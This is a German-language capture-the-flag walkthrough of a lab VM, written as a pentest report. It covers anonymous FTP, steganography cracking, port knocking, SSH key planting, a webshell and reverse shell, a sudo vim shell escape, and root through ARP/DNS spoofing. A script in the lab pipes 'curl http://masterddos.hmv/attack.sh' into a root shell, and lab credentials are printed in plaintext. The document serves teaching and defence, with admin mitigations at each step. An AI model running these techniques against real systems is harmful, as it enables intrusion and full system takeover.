192.168.2.120 08:00:27:ef:ea:d2 PCS Systemtechnik GmbH
Analyse: Der ARP-Scan identifiziert die IP-Adresse `192.168.2.120` und die zugehörige MAC-Adresse, die auf eine VirtualBox-VM hinweist.
Bewertung: Zielsystem im lokalen Netzwerk gefunden.
Empfehlung (Pentester): Führen Sie einen Nmap-Scan auf die IP `192.168.2.120` durch. Optional: Fügen Sie einen Hostnamen (z.B. `color.hmv`) in `/etc/hosts` hinzu.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Scan-Detection können die Aufklärung erschweren.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-06 00:50 CEST Nmap scan report for color (192.168.2.120) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1127 1127 0 Jan 27 23:45 first | -rw-r--r-- 1 1039 1039 0 Jan 27 23:45 second | -rw-r--r-- 1 0 0 290187 Feb 11 17:35 secret.jpg | -rw-r--r-- 1 1081 1081 0 Jan 27 23:45 third | ftp-syst: [...] vsFTPd 3.0.3 [...] |_End of status 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: Document |_http-server-header: Apache/2.4.54 (Debian) MAC Address: 08:00:27:EF:EA:D2 (Oracle VirtualBox virtual NIC) [...] Service Info: OS: Unix
Analyse: Der Nmap-Scan identifiziert drei Ports: * Port 21 (FTP): Offen, vsftpd 3.0.3. Wichtig: **Anonymer FTP-Login ist erlaubt!** Das Nmap-Skript listet auch direkt den Inhalt des FTP-Stammverzeichnisses auf: die leeren Dateien `first`, `second`, `third` mit ungewöhnlichen User/Group IDs (1127, 1039, 1081) und eine Bilddatei `secret.jpg`. * Port 22 (SSH): Gefiltert. Das bedeutet, Nmap konnte nicht eindeutig feststellen, ob der Port offen oder geschlossen ist, oft aufgrund einer Firewall-Regel. * Port 80 (HTTP): Offen, Apache 2.4.54.
Bewertung: Der erlaubte anonyme FTP-Zugriff ist ein sehr vielversprechender Einstiegspunkt. Die Dateien auf dem FTP-Server, insbesondere die leeren Dateien mit den numerischen IDs und `secret.jpg`, sind sofortige Untersuchungsziele. Der gefilterte SSH-Port deutet auf Port Knocking oder eine Firewall hin.
Empfehlung (Pentester): Verbinden Sie sich sofort anonym per FTP und laden Sie `secret.jpg` herunter. Analysieren Sie die leeren Dateien und ihre IDs (1127, 1039, 1081) – dies könnte eine Port-Knocking-Sequenz sein. Untersuchen Sie den Webserver (Port 80). Behalten Sie den gefilterten SSH-Port im Hinterkopf.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, es sei denn, er ist absolut notwendig und sicher konfiguriert (z.B. nur Leserechte, Chroot Jail). Überprüfen Sie Firewall-Regeln für SSH (Port 22). Vermeiden Sie das Ablegen potenziell sensibler Dateien im FTP-Verzeichnis.
[...] http://192.168.2.120/index.html [Size: 295] http://192.168.2.120/manual [Size: 315] [--> http://192.168.2.120/manual/] [...]
Analyse: Ein Gobuster-Scan auf Port 80 findet die `index.html` und ein Verzeichnis `/manual`, das auf `/manual/` weiterleitet.
Bewertung: Der Webserver scheint relativ klein zu sein. Das `/manual`-Verzeichnis könnte interessant sein (oft Apache-Standarddokumentation).
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/manual/`. Der Fokus sollte jedoch auf dem FTP-Server liegen.
Empfehlung (Admin): Entfernen Sie Standard-Dokumentationsverzeichnisse wie `/manual`, wenn sie nicht benötigt werden.
[...] Anmelden als anonymous … Angemeldet! [...] 2023-04-06 00:52:39 (0,00 B/s) - »192.168.2.120/first« gespeichert [0] [...] 2023-04-06 00:52:39 (0,00 B/s) - »192.168.2.120/second« gespeichert [0] [...] 2023-04-06 00:52:39 (4,04 MB/s) - »192.168.2.120/secret.jpg« gespeichert [290187] [...] 2023-04-06 00:52:39 (0,00 B/s) - »192.168.2.120/third« gespeichert [0] [...] Geholt: 4 Dateien, 283K in 0,07s (4,04 MB/s)
Analyse: `wget -r` wird verwendet, um rekursiv alle Dateien vom anonymen FTP-Server herunterzuladen. Es bestätigt den erfolgreichen anonymen Login und lädt die vier zuvor von Nmap identifizierten Dateien (`first`, `second`, `secret.jpg`, `third`) herunter.
Bewertung: Die relevanten Dateien vom FTP-Server sind nun lokal zur Analyse verfügbar.
Empfehlung (Pentester): Analysieren Sie die heruntergeladene `secret.jpg` auf Steganographie. Betrachten Sie die Namen und Metadaten (falls vorhanden) der leeren Dateien `first`, `second`, `third` im Zusammenhang mit den aus dem Nmap-Scan bekannten User/Group IDs (1127, 1039, 1081) – dies erhärtet den Verdacht auf Port Knocking.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff oder sichern Sie ihn stark ab.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "Nevermind"
[i] Original filename: "more_secret.txt".
[i] Extracting to "secret.jpg.out".
Analyse: `stegseek` wird verwendet, um zu versuchen, mit `steghide` versteckte Daten aus `secret.jpg` zu extrahieren, wobei `rockyou.txt` als Passwortliste für den Brute-Force-Versuch dient.
Bewertung: Erfolg! `stegseek` findet das korrekte Passwort `Nevermind` und extrahiert eine versteckte Datei namens `more_secret.txt` (gespeichert als `secret.jpg.out`).
Empfehlung (Pentester): Bestätigen Sie die Extraktion manuell mit `steghide` und dem gefundenen Passwort. Analysieren Sie den Inhalt der extrahierten Datei `more_secret.txt`.
Empfehlung (Admin): Überwachen Sie Dateien auf eingebettete versteckte Daten, insbesondere bei anonymen Uploads oder öffentlichen Bereichen.
Passwort eingeben: Nevermind Extrahierte Daten wurden nach "more_secret.txt" geschrieben.
Analyse: Manuelle Extraktion mit `steghide` und dem gefundenen Passwort `Nevermind`.
Bewertung: Bestätigt den Fund und die Extraktion der Datei `more_secret.txt`.
insgesamt 8
-rw-r--r-- 1 root root 0 27. Jan 23:45 first
-rw-r--r-- 1 root root 316 6. Apr 00:59 more_secret.txt
-rw-r--r-- 1 root root 0 27. Jan 23:45 second
-rw-r--r-- 1 root root 316 6. Apr 00:57 secret.jpg.out
-rw-r--r-- 1 root root 0 27. Jan 23:45 third
Analyse: Listet die heruntergeladenen und extrahierten Dateien auf.
<-MnkFEo!SARTV#+D,Y4D'3_7G9D0LFWbmBCht5'AKYi.Eb-A(Bld^%E,TH.FCeu@X0)E$/g+)2+EV:;Dg=BAnE0-BOr;qDg-#3DImlA+B)]_C`m/1@2(@W-9>+@BRZ@q[!,BOr<.Ea`Ki+EqO;A9/l-DBO4CF`JUG@;0P!/gT-E,9H5AM,)nEb/Zr/gPrF(9-3ATBC1E+s33`'O.CG^/BkJ\:
// CyberChef Analyse (Base85 Decode)
Twenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do. So throw off the bowlines. Sail away from the safe harbor. Catch the trade winds in your sails. Explore. Dream. Discover.
pink:Pink4sPig$$
Analyse: Der Inhalt von `more_secret.txt` ist eine lange Zeichenkette, die als Base85 identifiziert und dekodiert wird (z.B. mit CyberChef). Die Dekodierung ergibt ein Zitat und am Ende eine Zeile mit potenziellen Zugangsdaten: `pink:Pink4sPig$$`.
Bewertung: Kritischer Fund! Zugangsdaten (Benutzername `pink`, Passwort `Pink4sPig$$`) wurden durch Steganographie und anschließende Dekodierung aufgedeckt.
Empfehlung (Pentester): Versuchen Sie, sich mit diesen Zugangsdaten bei den verfügbaren Diensten anzumelden (FTP, SSH - falls es geöffnet wird).
Empfehlung (Admin): Vermeiden Sie das Verstecken von Zugangsdaten in öffentlich zugänglichen Dateien. Verwenden Sie starke, einzigartige Passwörter und sichere Speichermethoden.
[...] Name (192.168.2.120:cyber): anonymous [...] 230 Login successful. [...] ftp> put secret.jpg.out local: secret.jpg.out remote: secret.jpg.out 229 Entering Extended Passive Mode (|||61251|) 550 Permission denied.
Analyse: Nach der Extraktion wird versucht, die extrahierte Datei (`secret.jpg.out`) wieder auf den anonymen FTP-Server hochzuladen.
Bewertung: Der Versuch schlägt mit "Permission denied" fehl. Der anonyme FTP-Benutzer hat keine Schreibrechte, was eine korrekte und sichere Konfiguration ist.
Empfehlung (Pentester): Der anonyme FTP ist nur zum Lesen nützlich. Verwenden Sie die gefundenen `pink`-Zugangsdaten.
Empfehlung (Admin): Stellen Sie sicher, dass anonyme FTP-Benutzer niemals Schreibrechte haben.
Kontext: Basierend auf dem gefilterten SSH-Port (22) und den leeren Dateien (`first`, `second`, `third`) mit spezifischen User/Group IDs (1127, 1039, 1081) auf dem FTP-Server wird Port Knocking vermutet. Diese IDs werden als die Portsequenz für das "Klopfen" interpretiert.
[Keine Ausgabe von knock, aber Pakete wurden gesendet]
Analyse: Das `knock`-Tool wird verwendet, um TCP-SYN-Pakete (Standardeinstellung von `knock`) nacheinander an die Ports 1127, 1039 und 1081 des Zielsystems zu senden.
Bewertung: Dies ist der Versuch, die durch Port Knocking geschützte Firewall-Regel für Port 22 zu öffnen.
Empfehlung (Pentester): Überprüfen Sie unmittelbar nach dem Knocking erneut den Status von Port 22 mit Nmap.
Empfehlung (Admin): Port Knocking kann eine zusätzliche Sicherheitsebene bieten, ist aber durch Sniffing oder Replay-Angriffe angreifbar und kann die legitime Nutzung erschweren. Verwenden Sie es mit Bedacht und in Kombination mit anderen Sicherheitsmaßnahmen (starke Authentifizierung, VPNs).
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-06 01:12 CEST Nmap scan report for color (192.168.2.120) Host is up (0.00014s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 82c7a434628f8e726c0d5d93d8b41e1d (RSA) | 256 651cc807359209e44384cd83bb561f6d (ECDSA) |_ 256 e6e4eb9b6d2252ddec763f8103486632 (ED25519) [...] Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds
Analyse: Unmittelbar nach dem `knock`-Befehl wird Port 22 erneut mit Nmap gescannt.
Bewertung: Erfolg! Port 22 wird nun als `open` gemeldet, während er zuvor als `filtered` angezeigt wurde. Das Port Knocking war erfolgreich und hat die Firewall-Regel für SSH geöffnet.
Empfehlung (Pentester): Versuchen Sie nun, sich per SSH mit den gefundenen `pink`-Zugangsdaten anzumelden.
Empfehlung (Admin): Überprüfen Sie die Port-Knocking-Konfiguration und deren Sicherheit. Stellen Sie sicher, dass die Klopfsequenz nicht leicht zu erraten oder aus öffentlich zugänglichen Informationen (wie hier den FTP-Datei-IDs) ableitbar ist.
[...]
Analyse: `exiftool` wird auf eine Datei `seized.png` angewendet, die bisher nicht erwähnt wurde (möglicherweise ein Überbleibsel oder lokaler Test).
Bewertung: Scheint für den aktuellen Pfad irrelevant zu sein, da keine nützlichen Metadaten gefunden werden und der Kontext unklar ist.
Trying 192.168.2.120... Connected to color.hmv. Escape character is '^]'. SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1
Analyse: Eine Telnet-Verbindung zu Port 22 wird hergestellt, um das SSH-Banner abzurufen.
Bewertung: Bestätigt, dass der SSH-Dienst auf Port 22 jetzt erreichbar ist und antwortet.
Kontext: Nach der Entdeckung der Zugangsdaten `pink:Pink4sPig$$` wird versucht, sich damit am FTP-Server anzumelden.
Connected to 192.168.2.120. 220 (vsFTPd 3.0.3) Name (192.168.2.120:cyber): pink 331 Please specify the password. Password: [Passwort Pink4sPig$$ eingegeben] 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||11902|) 150 Here comes the directory listing. drwx------ 2 1127 1127 4096 Feb 11 20:55 green drwx------ 3 1000 1000 4096 Feb 11 20:18 pink drwx------ 2 1081 1081 4096 Feb 20 17:07 purple drwx------ 2 1039 1039 4096 Feb 11 20:56 red 226 Directory send OK.
Analyse: Erfolgreicher FTP-Login als Benutzer `pink` mit dem Passwort `Pink4sPig$$`. Das Listing zeigt vier Verzeichnisse, benannt nach Farben: `green`, `pink`, `purple`, `red`. Dies scheint das Root-Verzeichnis zu sein, nicht das Home-Verzeichnis von `pink`.
Bewertung: Der FTP-Zugang als `pink` funktioniert. Das Auflisten anderer Verzeichnisse deutet erneut auf ein fehlendes oder falsch konfiguriertes Chroot Jail hin.
Empfehlung (Pentester): Wechseln Sie in das `pink`-Verzeichnis, um das tatsächliche Home-Verzeichnis zu untersuchen. Versuchen Sie auch, sich per SSH als `pink` anzumelden (obwohl der erste Versuch fehlschlug).
Empfehlung (Admin): Implementieren Sie Chroot Jails für FTP-Benutzer. Überprüfen Sie die FTP-Konfiguration.
250 Directory successfully changed.
229 Entering Extended Passive Mode (|||52779|)
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 23 Feb 11 17:59 note.txt
226 Directory send OK.
local: note.txt remote: note.txt 229 Entering Extended Passive Mode (|||40327|) 150 Opening BINARY mode data connection for note.txt (23 bytes). [...] 226 Transfer complete. 23 bytes received in 00:00 (1.04 KiB/s)
nothing to see here...
Analyse: Wechsel in das `pink`-Verzeichnis auf dem FTP-Server. Eine Datei `note.txt` wird gefunden, heruntergeladen und ihr Inhalt angezeigt.
Bewertung: Die Notiz "nothing to see here..." ist wahrscheinlich eine Sackgasse oder ein Troll.
250 Directory successfully changed.
550 Failed to change directory.
550 Failed to change directory.
550 Failed to change directory.
Analyse: Der Versuch, in die anderen Farb-Verzeichnisse (`purple`, `red`, `green`) zu wechseln, schlägt fehl.
Bewertung: `pink` hat keine Berechtigung, diese Verzeichnisse zu betreten.
http://192.168.2.120/shell.php
Not Found The requested URL was not found on this server. Apache/2.4.54 (Debian) Server at 192.168.2.120 Port 80
Analyse: Es wird versucht, eine `shell.php` auf dem Webserver aufzurufen, diese wird aber nicht gefunden (404).
Bewertung: Keine Webshell unter diesem Pfad vorhanden.
Ziel: Demonstration des SSH-Zugriffs als Benutzer `pink` mithilfe eines hochgeladenen SSH-Schlüssels.
Voraussetzungen: * FTP-Zugriff als `pink`. * Schreibrechte im `.ssh`-Verzeichnis von `pink`. * Offener SSH-Port (nach Port Knocking). * SSH-Schlüsselpaar des Angreifers.
Risiko: Hoch. Ermöglicht interaktiven Shell-Zugriff auf das System.
Schritt 1: Überprüfung/Vorbereitung des SSH-Verzeichnisses (FTP)
[...] drwx------ 2 1000 1000 4096 Feb 11 20:55 .ssh [...] -rw------- 1 1000 1000 5492 Apr 6 02:00 shell.php 226 Directory send OK.
250 Directory successfully changed.
[...]
drwx------ 2 1000 1000 4096 Feb 11 20:55 .
drwx------ 3 1000 1000 4096 Apr 6 01:44 ..
[Keine authorized_keys Datei vorhanden]
226 Directory send OK.
Analyse: Zurück im Home-Verzeichnis von `pink` via FTP. Ein `.ssh`-Verzeichnis existiert. Überraschenderweise ist hier auch eine `shell.php` vorhanden (möglicherweise ein Überbleibsel eines früheren Versuchs oder ein anderer Mechanismus). Das `.ssh`-Verzeichnis ist leer (keine `authorized_keys`).
Bewertung: Das leere `.ssh`-Verzeichnis erlaubt das Hochladen des eigenen öffentlichen Schlüssels.
Schritt 2: SSH-Schlüssel vorbereiten (Angreifer)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfSQAyP[...] root@cyber
Analyse: Der öffentliche SSH-Schlüssel des Angreifers (`/root/.ssh/id_rsa.pub`) wird in eine lokale Datei namens `authorized_keys` geschrieben und die Berechtigungen werden korrekt auf 600 gesetzt.
Schritt 3: SSH-Schlüssel hochladen (FTP)
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||58852|)
150 Ok to send data.
[...]
226 Transfer complete.
553 bytes sent in 00:00 (1.39 MiB/s)
Analyse: Die vorbereitete `authorized_keys`-Datei wird erfolgreich in das `.ssh`-Verzeichnis des Benutzers `pink` auf dem FTP-Server hochgeladen.
Bewertung: Die Vorbereitung für den SSH-Login als `pink` mittels Schlüssel ist abgeschlossen.
Schritt 4: SSH-Login-Versuch
Enter passphrase for key '/root/.ssh/id_rsa': [Passphrase eingegeben] Linux color 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 [...] Last login: Sat Feb 11 19:16:48 2023 from 192.168.1.86 pink@color:~$
Analyse: Der SSH-Login als `pink` wird mit dem privaten Schlüssel des Angreifers (`-i /root/.ssh/id_rsa`) versucht. Die Passphrase für den *privaten Schlüssel* wird abgefragt.
Bewertung: Erfolg! Der SSH-Login als `pink` mittels Schlüsselauthentifizierung war erfolgreich.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `pink`. Führen Sie `sudo -l` aus, suchen Sie nach SUID-Dateien etc.
Empfehlung (Admin): Überwachen Sie SSH-Logins und `authorized_keys`-Änderungen.
Kontext: Obwohl bereits SSH-Zugriff als `pink` besteht, wird im Log ein anderer Weg gezeigt: Das Platzieren und Ausführen einer Webshell, um eine Shell als `www-data` zu erlangen. Dies könnte ein alternativer Pfad oder ein separater Test sein.
[...]
authorized_keys note.txt seized.png shell.php
Analyse: Als `pink` wird eine SUID-Suche durchgeführt (ohne besondere Ergebnisse). Die `shell.php` (die zuvor im FTP-Listing des Home-Verzeichnisses gesehen wurde) wird in das Web-Root-Verzeichnis (`/var/www/html/`) verschoben.
Bewertung: Die Webshell wird im Web-Root platziert, um sie über den Browser oder `curl` aufrufen zu können.
drwxrwxrwx 2 www-data www-data 4096 Apr 6 02:00 .
drwxr-xr-x 3 root root 4096 Jan 27 20:21 ..
-rw-r--r-- 1 www-data www-data 295 Jan 27 20:43 index.html
-rw-r--r-- 1 www-data www-data 10701 Jan 27 20:22 index.html.bak
-rw-r--r-- 1 www-data www-data 821574 Jan 27 20:34 seized.png
-rw------- 1 pink pink 5492 Apr 6 02:00 shell.php
[...]
-rwxrwxrwx 1 pink pink 5492 Apr 6 02:00 shell.php
Analyse: Die Berechtigungen von `shell.php` werden auf `777` (lesbar, schreibbar, ausführbar für alle) gesetzt. Dies ist notwendig, damit der Apache-Prozess (der als `www-data` läuft) das Skript ausführen kann.
Bewertung: Die Webshell ist nun über HTTP erreichbar und ausführbar.
Empfehlung (Pentester): Rufen Sie `http://192.168.2.120/shell.php` auf (mit einem `cmd`-Parameter für RCE oder so konfiguriert, dass sie eine Reverse Shell sendet).
Empfehlung (Admin): Setzen Sie korrekte, restriktive Berechtigungen für Dateien im Web-Root. Überwachen Sie das Web-Root auf verdächtige Dateien.
Reverse Shell als www-data:
listening on [any] 9001 ... connect to [192.168.2.114] from (UNKNOWN) [192.168.2.120] 56738 [...] uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Ein Listener wird auf Port 9001 gestartet. Nach dem Aufruf von `shell.php` (impliziert) geht eine Verbindung ein, und eine Shell als `www-data` wird erhalten.
Bewertung: Erfolgreiche RCE und Shell als `www-data` über die platzierte Webshell.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Führen Sie `sudo -l` für `www-data` aus.
Empfehlung (Admin): Entfernen Sie die Webshell. Sichern Sie die Upload-/Schreibberechtigungen.
Shell-Stabilisierung (wie zuvor):
reset
www-data@color:/$
Analyse: Die `www-data`-Shell wird stabilisiert.
Ziel: Demonstration der Ausnutzung einer `sudo`-Regel, die es `www-data` erlaubt, `vim` als Benutzer `green` auszuführen, um eine Shell als `green` zu erlangen.
Voraussetzungen: * Shell als `www-data`. * Die spezifische `sudo`-Regel `(green) NOPASSWD: /usr/bin/vim`.
Risiko: Mittel bis Hoch. Ermöglicht die Übernahme des `green`-Kontos.
Schritt 1: sudo-Regel prüfen
Matching Defaults entries for www-data on color:
env_reset, mail_badpass, secure_path=...
User www-data may run the following commands on color:
(green) NOPASSWD: /usr/bin/vim
Analyse: `sudo -l` zeigt, dass `www-data` den Befehl `/usr/bin/vim` als Benutzer `green` ohne Passwort ausführen darf.
Bewertung: Dies ist eine bekannte Fehlkonfiguration. Editoren wie `vim` erlauben oft das Ausführen von Shell-Befehlen aus dem Editor heraus (siehe GTFOBins).
Schritt 2: vim zur Shell-Eskalation nutzen
/bin/sh: 1: id: not found $ id uid=1127(green) gid=1127(green) groups=1127(green)
Analyse: `vim` wird mit `sudo -u green` gestartet. Die Option `-c ':!/bin/sh'` weist `vim` an, sofort nach dem Start den Ex-Befehl `:!/bin/sh` auszuführen. Das `:!` führt einen externen Shell-Befehl aus, hier `/bin/sh`.
Bewertung: Erfolg! Eine Shell wird gestartet, und der `id`-Befehl bestätigt, dass sie als Benutzer `green` läuft.
Empfehlung (Admin): Erlauben Sie niemals die Ausführung von Editoren oder anderen Programmen, die Shell-Escapes ermöglichen, mit `sudo`, insbesondere nicht als andere Benutzer. Verwenden Sie sicherere Alternativen oder beschränken Sie die ausführbaren Befehle stark.
Enumeration als `green`:
[sudo] password for green:
Analyse: `green` hat keine `sudo`-Rechte ohne Passwort.
Kontext: Als `green` wird nach Wegen gesucht, um weitere Rechte oder Zugriff auf andere Benutzer zu erlangen.
Enter passphrase for key '/root/.ssh/id_rsa': [Passphrase]
green@color:~$
Analyse: Es wird eine direkte SSH-Verbindung als `green` hergestellt. Dies impliziert, dass der öffentliche Schlüssel des Angreifers zuvor auch für `green` in dessen `authorized_keys` platziert wurde (dieser Schritt ist nicht explizit im Log gezeigt, aber wahrscheinlich notwendig).
Bewertung: Ermöglicht eine stabilere Shell als `green`.
[...]
-rw-r--r-- 1 root root 145 Feb 11 16:42 note.txt
-rwxr-xr-x 1 root root 16928 Feb 11 19:29 test_4_green
[...]
[Berechtigungen gesetzt]
#!/usr/bin/python3
import subprocess
import random
while True:
n = random.randint(1, 1000000)
process = subprocess.run(["./test_4_green"], input=str(n) ,text=True, capture_output=True)
if "Correct!!" in process.stdout:
print(f"Number found {n}")
print(process.stdout)
break
Analyse: Im Home-Verzeichnis von `green` wird eine ausführbare Datei `test_4_green` gefunden, die `root` gehört. Ein Python-Skript (`ccc.py`) wird erstellt, das in einer Schleife zufällige Zahlen generiert, sie als Eingabe an `./test_4_green` übergibt und prüft, ob die Ausgabe "Correct!!" enthält.
Bewertung: `test_4_green` scheint ein "Rate die Zahl"-Spiel zu sein. Das Python-Skript automatisiert das Raten.
Number found 530149
Guess the number im thinking: Correct!! Here is the pass:
purpleaslilas
Analyse: Das Python-Skript findet die korrekte Zahl (530149) und das Programm `test_4_green` gibt daraufhin ein Passwort preis: `purpleaslilas`.
Bewertung: Erfolg! Ein Passwort, vermutlich für den Benutzer `purple`, wurde durch das Lösen des Rätsels erhalten.
Empfehlung (Pentester): Versuchen Sie, sich mit `su purple` und dem Passwort `purpleaslilas` als Benutzer `purple` anzumelden.
Empfehlung (Admin): Speichern Sie niemals Passwörter im Klartext als Ausgabe von Programmen, selbst wenn diese versteckt oder als Belohnung gedacht sind. Entfernen Sie das `test_4_green`-Programm oder sichern Sie es.
Password: purpleaslilas purple@color:/home/green$
Analyse: Der Wechsel zum Benutzer `purple` mit dem gefundenen Passwort ist erfolgreich.
Bewertung: Lateral Movement zu `purple` gelungen.
Empfehlung (Pentester): Enumerieren Sie als `purple`. Führen Sie `sudo -l` aus.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit des `purple`-Kontos und dessen Berechtigungen.
Enumeration als `purple`:
[...]
-rw-r--r-- 1 root root 77 Feb 11 17:03 for_purple_only.txt
-rw-r--r-- 1 root root 14 Feb 11 16:52 user.txt
[...]
(:Ez_Colors:)
As the highest level user I allow you to use the supreme ddos attack script.
Analyse: Im Home-Verzeichnis von `purple` wird die `user.txt` gefunden und gelesen (enthält "(Ez_Colors)"). Eine weitere Datei `for_purple_only.txt` erwähnt ein "ddos attack script".
Bewertung: User-Flag gefunden (obwohl sie anders aussieht als die zuvor gefundene `34f35...`). Der Hinweis auf das DDoS-Skript ist wichtig.
Matching Defaults entries for purple on color:
env_reset, mail_badpass, secure_path=...
User purple may run the following commands on color:
(root) NOPASSWD: /attack_dir/ddos.sh
Analyse: `sudo -l` für `purple` zeigt, dass dieser Benutzer das Skript `/attack_dir/ddos.sh` als `root` ohne Passwort ausführen darf.
Bewertung: Ein klarer Weg zur Root-Eskalation!
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/attack_dir/ddos.sh` und finden Sie heraus, wie Sie dessen Ausführung als `root` missbrauchen können.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem gefährlich. Erlauben Sie niemals die Ausführung von Skripten als Root über `sudo`, wenn der Benutzer das Skript oder dessen Umgebung beeinflussen kann.
#!/bin/bash
/usr/bin/curl http://masterddos.hmv/attack.sh | /usr/bin/sh -p
Analyse: Das Skript `ddos.sh` verwendet `curl`, um ein weiteres Skript (`attack.sh`) von der URL `http://masterddos.hmv/attack.sh` herunterzuladen und dessen Inhalt direkt an eine Shell (`/usr/bin/sh -p`) zur Ausführung weiterzuleiten. Die Option `-p` bei `sh` versucht, die effektive UID beizubehalten (obwohl dies hier nicht den entscheidenden Unterschied macht, da das gesamte Skript bereits als Root läuft).
Bewertung: Dies ist eine klassische Schwachstelle. Da `purple` das Skript als `root` ausführen darf, wird das von `masterddos.hmv` heruntergeladene Skript ebenfalls als `root` ausgeführt. Wenn der Angreifer die DNS-Auflösung für `masterddos.hmv` auf seinen eigenen Server umleiten kann, kann er beliebigen Code als Root ausführen lassen.
Empfehlung (Pentester): Richten Sie DNS-Spoofing (z.B. mit `bettercap`) ein, um Anfragen für `masterddos.hmv` auf Ihren eigenen Webserver umzuleiten. Erstellen Sie auf Ihrem Webserver eine Datei `attack.sh`, die einen Reverse-Shell-Payload enthält. Führen Sie dann `sudo /attack_dir/ddos.sh` als `purple` aus.
Empfehlung (Admin): Vermeiden Sie das Herunterladen und Ausführen von Skripten von externen Quellen innerhalb von Skripten, die mit erhöhten Rechten laufen. Validieren Sie heruntergeladene Inhalte. Verwenden Sie interne, vertrauenswürdige Quellen.
Ziel: Demonstration der Ausnutzung der `sudo`-Regel für `ddos.sh` in Kombination mit DNS-Spoofing, um eine Root-Shell zu erlangen.
Voraussetzungen: * Shell als `purple`. * Die `sudo`-Regel `(root) NOPASSWD: /attack_dir/ddos.sh`. * Ein Angreifer-System im selben Netzwerk mit: * Einem Webserver (z.B. Python HTTP Server). * Einem Netcat-Listener. * Einem DNS-Spoofing-Tool (z.B. `bettercap`) mit ARP-Spoofing-Fähigkeit. * Eine Datei `attack.sh` auf dem Webserver des Angreifers mit einem Reverse-Shell-Payload.
Risiko: Kritisch. Ermöglicht die vollständige Übernahme des Systems durch Ausführung beliebigen Codes als Root.
Schritt 1: Setup auf Angreifer-System (Mehrere Terminals)
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
listening on [any] 9002 ...
bettercap v2.32.0 [...] 192.168.2.0/24 > 192.168.2.114 » set arp.spoof.targets 192.168.2.120 192.168.2.0/24 > 192.168.2.114 » set dns.spoof.address 192.168.2.114 192.168.2.0/24 > 192.168.2.114 » set dns.spoof.all true 192.168.2.0/24 > 192.168.2.114 » set dns.spoof.domains masterddos.hmv 192.168.2.0/24 > 192.168.2.114 » dns.spoof on 192.168.2.0/24 > 192.168.2.114 » arp.spoof on
Bewertung: Das Setup für den Man-in-the-Middle-Angriff (ARP-Spoofing) und die DNS-Umleitung ist abgeschlossen.
Schritt 2: Exploit ausführen (Opfer-System, Terminal 1)
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: masterddos.hmv
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 82 100 82 0 0 2000 0 --:--:-- --:--:-- --:--:-- 2000
Analyse: Der `sudo`-Befehl wird als `purple` mehrfach ausgeführt. Die ersten Versuche schlagen fehl (möglicherweise dauert es kurz, bis ARP/DNS-Spoofing greift). Beim erfolgreichen Versuch lädt `curl` das Skript `attack.sh` vom Angreifer-Webserver (da `masterddos.hmv` auf die Angreifer-IP aufgelöst wird) und führt es mit `sh -p` als Root aus.
Bewertung: Der Exploit wurde erfolgreich ausgelöst.
Schritt 3: Ergebnisse auf Angreifer-System
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.120 - - [06/Apr/2023 23:28:31] "GET /attack.sh HTTP/1.1" 200 -
[...] [sys.log] [inf] dns.spoof sending spoofed DNS reply for masterddos.hmv (->192.168.2.114) to 192.168.2.120 [...]
listening on [any] 9002 ... connect to [192.168.2.114] from (UNKNOWN) [192.168.2.120] 53114 # id uid=0(root) gid=0(root) groups=0(root) # ip a 192.168.2.119
Analyse: Der Webserver (Terminal 2) zeigt den erfolgreichen Download von `attack.sh` durch das Opfer. Bettercap (Terminal 3) zeigt die erfolgreiche DNS-Umleitung. Der Netcat-Listener (Terminal 4) empfängt die Verbindung und stellt eine Root-Shell bereit.
Bewertung: Kritische Privilegienerweiterung zu Root erfolgreich durchgeführt!
Empfehlung (Admin): Beheben Sie die unsichere `sudo`-Regel für `ddos.sh`. Implementieren Sie Schutzmaßnahmen gegen ARP- und DNS-Spoofing im Netzwerk (z.B. dynamische ARP-Inspektion, DNSSEC, sichere DNS-Server).